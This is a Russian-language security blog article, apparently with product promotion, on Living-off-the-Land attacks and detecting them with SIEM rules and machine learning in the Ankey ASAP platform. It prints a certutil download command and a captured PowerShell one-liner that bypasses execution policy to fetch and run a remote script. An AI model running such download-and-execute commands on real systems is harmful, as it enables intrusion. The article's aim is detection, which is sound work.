В последние годы предприятия и корпорации находятся под атакой продвинутых злоумышленников, которые используют все более творческие подходы к компрометации систем безопасности. Одним из наиболее распространенных методов являются LotL-атаки (Living off the Land).

Данный вид атак не является новым. Эксплуатация LotL заключается в использовании легитимного программного обеспечения (уже присутствующего в системе) для осуществления деструктивных действий, таких как получение неправомерного доступа, повышение привилегий, отправка и получение файлов, изменение системных настроек и т.д. Популярными инструментами являются PowerShell, WMI, CMD, CLI, BASH и другие.

Современная популярность данного метода атак определяется тем, что их нельзя обнаружить посредством сравнения сигнатур. Как правило, они не оставляют следов в виде вредоносных файлов и не записывают данные в память, а поведение злоумышленника сравнимо с традиционной активностью системного администратора в операционной системе. Из этого вытекает еще одна проблема статических правил – огромное количество ложных срабатываний.

По итогам первого квартала 2022 года инструменты WatchGuard Technologies зафиксировали, что 88% всех вредоносных программ являются скриптами, выполняющими злонамеренные команды. «Это говорит о том, что злоумышленники переходят от традиционного вредоносного ПО к атакам с использованием технологии LotL, чтобы избежать обнаружения на основе сигнатур. Что еще более интересно, PowerShell представляет собой более 99% этого вредоносного ПО», – отмечают исследователи. Данный факт объясняется тем, что инструмент PowerShell является кроссплатформенным, он предустановлен на самой популярной ОС на данный момент и имеет множество различных подключаемых модулей.

Эксплуатирование LotL-атак встроенными в ОС утилитами

В настоящее время атаки типа LotL все больше представляют интерес для злоумышленников. Об этом сообщают различные компании, например Microsoft, Symantec, Trellix. Методы таких атак используют существующие системные инструменты в рамках вредоносной деятельности и могут быть использованы как злоумышленниками, которые получили доступ к целевой системе, так и скрытым вредоносным ПО.

Рассмотрим примеры традиционных потенциально вредоносных программ и методов Living-off-the-Land. Большинство таких инструментов, используемых для атак LotL есть в LOLBAS – проект, в котором перечислено большинство двоичных файлов, сценариев и библиотек для использования в LotL-атаках. Эти средства широко задействуются на разных этапах атак: от доставки до выполнения полезной нагрузки, от горизонтального перемещения до кейлоггинга и сбора информации.

Например, утилита certutil.exe предназначена для управления сертификатами в Windows. С помощью этой программы можно устанавливать, создавать резервные копии, удалять и управлять хранилищами сертификатов в Windows. Одной из особенностей certutil.exe является возможность загрузить сертификат или любой другой файл по удаленному URL-адресу, сохранив его в виде локального файла. Для этого используется следующий синтаксис:

 certutil.exe -urlcache -split -f [URL] output.file

Также, данная утилита может использоваться с ключом –decode для декодирования файла. Данная функция позволит злоумышленникам обойти антивирусные сканеры. Об этом писал исследователь Ксавье Мертнес.

Не менее интересной утилитой является bitsadmin.exe – это средство командной строки, используемое для создания, загрузки и передачи заданий, а также для отслеживания хода выполнения. Злоумышленники могут использовать данную утилиту для загрузки вредоносных файлов во временное расположение (temp) и отправки заданий для выполнения payload.

И, конечно, вышеупомянутая утилита PowerShell. Используя это средство, злоумышленники могут запускать скрипты в обход установленной политики выполнения. Для этого они эксплуатируют аргумент –ep с флагом bypass. Данный флаг добавлен разработчиками Microsoft для обхода execution policy при запуске скриптов из файлов.

Традиционные методы выявления LotL-атак и их недостатки

Для того, чтобы получать уведомления об инцидентах и оперативно выявлять источник угрозы можно использовать различные правила корреляции в SIEM-системах. Одним из бесплатных решений для сбора событий Windows с помощью инструментов c открытым исходным кодом является SEC (Simple Event Correlator). Данный инструмент стоит использовать в ансамбле, который может включать в себя следующие утилиты:

- Event to Syslog Service (evtsys) в качестве агента системного журнала Windows,

- rsyslog в качестве централизованного сборщика,

- Simple Event Correlator (SEC) для анализа и оповещения.

Общая архитектура решения выглядит следующим образом:

Рисунок 1 – Общая архитектура решения
Рисунок 1 – Общая архитектура решения

 На рисунке отображены следующие возможные этапы работы комплекса:

  1. Запуск нового вредоносного процесса.

  2. Создание аудитом Windows события с кодом 4688 и его запись в журнал безопасности Windows.

  3. Идентификация события в соответствии с фильтром в evtsys.

  4. Преобразование записей журнала в удобный для передачи формат. Отправка по сети в централизованный сервер rsyslog.

  5. Получение событий журнала утилитой rsyslog по сети и запись его в /var/log/win.log.

  6. Проверка файла /var/log/win.log утилитой Simple Event Correlator и сопоставление строки «scvhost» с правилами корреляции. Ознакомиться подробнее с примерами правил корреляции можно по следующим ссылкам [1, 2, 3].

  7. Оповещение по электронной почте создается и отправляется аналитику безопасности.

  8. Получение оповещения аналитиком безопасности по электронной почте.

Тем не менее, при комплексной реализации данного подхода существуют очевидные минусы решения, а именно:

  • необходимость тонкой настройки политик аудита безопасности, правил корреляций и сигнатур. В этом вопросе крайне важна точность, потому что подобными утилитами могут пользоваться легитимные пользователи, такие, как системные администраторы;

  • как следствие, огромное количество ложноположительных срабатываний правил, большая работа с разборами инцидентов и дополнительная головная боль;

  • обратная сторона медали – 0-day уязвимости, то есть уязвимости и атаки нулевого дня. Всегда существует вероятность разработки нового, ранее неизвестного способа проведения атаки или эксплуатирования уязвимостей, поэтому правила корреляции в этом случае будут неэффективны;

  • из предыдущего пункта появляется еще одна проблема – сложность поддержания всех правил и сигнатур в актуальном состоянии.

Перспективное машинное обучение в обнаружении инцидентов

Большой объем и разнообразие событий, наблюдаемых в организациях, создает проблему для обнаружения атак LotL с применением правил и эвристики, тем не менее, поведенческий анализ с использованием машинного обучения является более предпочтительным решением для данной проблемы, так как он нивелирует практически все вышеперечисленные недостатки.

Группа безопасности Microsoft Defender выпустила исследование о вредоносном программном обеспечении (ВПО) для кражи информации Astaroth. Данный троян использует техники LotL-атак для злоупотребления различными процессами, которые принято считать легитимными, чтобы попытаться запуститься незамеченным на скомпрометированных машинах. ВПО отмечалось необычным всплеском активности, связанным с командной строкой инструментария управления (WMIC), что позволило довольно быстро разоблачить данную кампанию. Теперь же Astaroth полностью избегает использования WMIC и связанных с ним методов для обхода существующих обнаружений. Вместо этого злоумышленники ввели новые методы, которые делают цепочку атак еще более скрытной:

  • злоупотребление альтернативными потоками данных (ADS);

  • злоупотребление легитимным процессом ExtExport.exe для загрузки полезной нагрузки.

В свою очередь, команда FortiGuard SE от компании Fortinet опубликовала исследование о киберпреступной организации Silence Group, основной целью которых является банковская информация, в частности, платежные карты. Для достижения своих целей Silence Group используют технику LotL-атак, которая позволяет работать на зараженном объекте как можно дольше, используя легитимные инструменты или команды, встроенные в операционную систему.

Как и большинство атак, типичная угроза Silence Group начинается с целевого фишингового письма с вредоносными вложениями. Вложения могут быть представлены в виде документа Microsoft Word или скомпилированного Microsoft файла справки HTML. При выполнении пользователем вредоносного сценария файла, происходит установка соединения с удаленным сервером и инициируется второй этап атаки, где загружается вредоносный файл, который деобфусцируется и выполняет команду PowerShell. Без ведома пользователя команда PowerShell вызывает другой сервер для извлечения двоичного файла, который затем расшифровывается в загрузчик третьего уровня. Последний загрузчик предназначен для получения полезной нагрузки Silence, которая состоит из нескольких различных модулей, в зависимости от того, в какой фазе общей атаки в настоящее время находится группа.

Компания Elastic анонсировала свой пакет обнаружения Living off the land атак ProblemChild. Пакет обнаружения ProblemChild, обученный по модели «с учителем» использует информацию о происхождении процесса, присутствующую в метаданных событий процесса Windows, для классификации событий как вредоносных или доброкачественных с помощью предположений (Inference). Затем, обнаружение аномалий применяется для обнаружения редких процессов среди тех, которые были помечены моделью как вредоносные. Наконец, правила обнаружения оповещают о редкой активности процесса родитель-потомок как признак LotL-атак.

Все приведенные выше примеры иллюстрируют, как методы LotL стали стандартными компонентами современных атак, направленных на избежание обнаружения средствами безопасности.

Современный комплекс обнаружения инцидентов безопасности с применением машинного обучения

Ankey ASAP (Advanced Security Analytics Platform) – продукт для углублённого изучения событий по информационной безопасности c функциями поведенческого анализа. Получая данные средств защиты информации и информационных систем, Ankey ASAP формирует контент для помощи в расследовании киберинцидентов и анализирует поведение пользователей и компонентов корпоративной сети с помощью эвристических и статистических алгоритмов машинного обучения для выявления признаков киберугроз, целевых атак и инсайдеров.

Модуль обнаружения LotL-атак в Ankey ASAP включает в себя два метода:

  1. Метод на основе профилирования и выявления аномалий в поведении процессов;

  2. Метод на основе классификации хороших и плохих исполняемых команд.

Первый метод можно характеризовать как обучение без учителя: каждое отклонение от типичного поведения будет повышать скоринговый балл хоста, где выполняется процесс. Скоринговая модель обеспечивает подсчет баллов по каждому пользователю или узлу. Данная величина характеризует вероятность того, что совокупность событий может представлять угрозу безопасности. Соответственно, при высокой динамике или приближении к порогу скоринга будет регистрироваться подозрение на инцидент для данного хоста.

Второй метод основан на более точечном воздействии. Его можно характеризовать как обучение с учителем, результатом которого будет являться зарегистрированный в системе инцидент.

Метод профилирования

В первом методе мы использовали анализатор профилирования, который по заданным признакам строит базовую линию поведения и выявляет отклонения от нее.

Этот алгоритм состоит из следующих этапов:

1. Построение базовой линии:

а. определение и трансформация исходных данных

б. эвристический подбор признаков (индикаторов) поведения

в. расчет признаков, нормализация и формирование профилей поведения

г. формирование базовых линий поведения

Рисунок 2 – Формирование базовой линии 
Рисунок 2 – Формирование базовой линии 

2. Выявление отклонений:

д. расчет метрик близости к базовой линии для каждого нового профиля;

е. сравнение метрик близости с критическими границами распределения;

ж. определение результата наличия или отсутствия отклонения в профиле.

3. Интерпретация отклонений:

з. определение признака, наиболее повлиявшего на отклонение.

4. Оценка результатов (скоринг):

и. кодирование всех профилей – присвоение наиболее редким комбинациям более высокой оценки.

Рисунок 3 – Выявление отклонений
Рисунок 3 – Выявление отклонений

Профиль считается для каждого процесса на каждом уникальном хосте, что позволит повысить точность определения аномалии. Также для данного анализатора были разработаны соответствующие модели по профилированию деятельности процессов.

Модель работает на 3 типах событий и содержит 86 признаков, характеризующих поведение процесса. Примеры признаков, которые задействованы в нашей модели:

  • количество запусков процессом дочерних процессов на устройствах инфраструктуры;

  • количество запусков процессов, чей исполняемый файл находится в каталоге "Program files" или "Program files (x86)";

  • количество запусков реестровых процессов.

Выходным результатом является сообщение о статусе текущего профиля, т.е. временного промежутка с данными: было ли отклонение, какое оно и её размерность. Например, если оно будет максимально редким для этой машины, и редким среди других похожих машин, то профиль будет иметь наивысший скоринговый балл. А далее – в зависимости от настройки правил формирования инцидента, может попасть в список подозрений на инцидент.

В модели для ОС Linux использованы события аудита syscall, т.е. механизма взаимодействия программ с ядром Linux.

Метод классификации

Следующий метод работает на основе классификаторов. Вдохновителем этого модуля послужило открытое решение от Adobe Security Team, которое они опубликовали в конце 21 года.

Алгоритм решения следующий: входным набором данных является выполняемая команда, включая все её аргументы. Из неё извлекаются признаки и затем, с помощью предобученных моделей, выполняется классификация с помощью метрики BLEU (BiLingual Evaluation Understudy). Следом, команде присваивается одно из трех значений – GOOD, BAD, NEUTRAL.

Рисунок 4 – Решение от Adobe Security Coordination Center
Рисунок 4 – Решение от Adobe Security Coordination Center

Алгоритм классификации основан на методе Random Forest, т.к. по исследованиям Adobe он показал наилучшие результаты по точности и по времени обучения.

Рисунок 5 – Результаты сравнения алгоритмов классификации
Рисунок 5 – Результаты сравнения алгоритмов классификации

В качестве дополнительной меры, на основе справочника плохих команд производится поиск паттерна, и, если схожесть команд достигает определенной степени, команда признается плохой.

Рассмотрим конкретный пример LotL-атаки из жизни, который был успешно обнаружен модулем выявления Lotl-атак Ankey ASAP. От лица пользователя был запущен процесс следующей терминальной команды:

 poWerSHEll –ep bypass LEx(nEw-oBJecT sySTEm.nEt.wEbcLIenT).dOWnLOadsTRiNg(‘HttP://xxx.xx.xx.xxx/xxx.ps1’)

IP-адрес был скрыт по соображениям безопасности.

В команде задействуется аргумент –ep с флагом bypass. Данный флаг добавлен разработчиками Microsoft для обхода execution policy при запуске скриптов из файлов. Microsoft заявляет, что при использовании этого флага «ничего не блокируется и не выводится никаких предупреждений или сообщений». Техника не влечет за собой изменения настроек и не требует записи на диск.

Стоит упомянуть о том, что по умолчанию выполнение сценариев Windows PowerShell в системе запрещено. По соображениям безопасности все скрипты PowerShell должны быть подписаны цифровой подписью, а данный метод называется политикой выполнения.

Если же скрипт не соответствует этому условию, то выполнение сценария блокируется. Это связано в первую очередь с тем, что в скрипте может находиться вредоносный код, который может нанести вред ОС.

PowerShell имеет несколько режимов, которые определяют, какой тип кода разрешается к выполнению. Существуют различные политики выполнения:

  1. Ограниченный (Restricted) – значение по умолчанию. Блокируется выполнение любых скриптов и разрешается работа интерактивных команд.

  2. Все подписанные (All Signed) – разрешено выполнение скриптов, имеющих цифровую подпись доверенного издателя.

  3. Удаленные подписанные (Remote Signed) – локальные скрипты работают без подписи. Все загруженные скрипты должны иметь цифровую подпись доверенного издателя.

  4. Неограниченный (Unrestricted) – разрешено выполнение любых скриптов. При запуске неподписанного скрипта, который был загружен из Интернета, программа может потребовать подтверждение.

  5. Обходной (Bypass) – ничего не блокируется, никакие предупреждения и запросы не появляются.

В данном примере PowerShell был использован в качестве загрузчика для скрипта, который находился по ip-адресу. При этом была применена политика Bypass, что позволило выполнить данную команду в обход установленной политики.

Скрипт содержит одну команду, в которую передается аргументом еще один скрипт в кодированном виде:

Рисунок 6 – Закодированный скрипт
Рисунок 6 – Закодированный скрипт

По содержимому скрипта, передаваемого в PowerShell как аргумент, который был закодирован, можно сделать вывод о том, что устанавливалась попытка TCP-соединения. Декодированное содержимое на рисунке ниже:

Рисунок 7 – Декодированный скрипт
Рисунок 7 – Декодированный скрипт

Данная Lotl-атака была зафиксирована Ankey ASAP. На рисунке ниже приведены основные поля об инциденте.

Рисунок 8 – Карточка инцидента
Рисунок 8 – Карточка инцидента

Чтобы быстро решить проблему эксплуатации подобных инцидентов можно отключить PowerShell, но данный метод является слишком примитивным. Отключение злоумышленника от общего сегмента в данном случае более эффективно и профессионально.

Таким образом, можно заключить, что для противодействия LotL следует использовать средства защиты, основанные на моделях машинного обучения и поведенческом анализе. Данные технологии позволяют фиксировать аномальные активности даже среди, казалось бы, вполне легитимных средств и команд.

Глоссарий

LotL (Living off the Land) – атака, при которой злоумышленник использует легитимные программы и функции для выполнения вредоносных действий в целевой системе

PowerShell – кроссплатформенное решение для автоматизации задач, которое включает оболочку командной строки, скриптовый язык и платформу управления конфигурацией

WMI (Windows Management Instrumentation) – инструментарий управления Windows

CMD (Command Line Interpreter) – интерпретатор командной строки

CLI (Common Language Infrastructure) – общеязыковая инфраструктура для платформы Microsoft .NET

BASH (Bourne Again Shell) – усовершенствованная и модернизированная вариация командной оболочки Bourne shell

Malware (Malicious Software) – вредоносное программное обеспечение

SIEM (Security Information and Event Management) – класс программных продуктов, предназначенных для сбора и анализа информации о событиях безопасности

Ankey ASAP (Ankey Advanced Security Analytics Platform) – продукт класса расширенной аналитики событий информационной безопасности c функциями поведенческого анализа

 Материал подготовили сотрудник ГК «Газинформсервис» Манкаев Расул.

Комментарии (1)


  1. olegtsss
    02.11.2022 19:15

    У вас тут всё в кучу собрано, не понятно. О чем статья в итоге?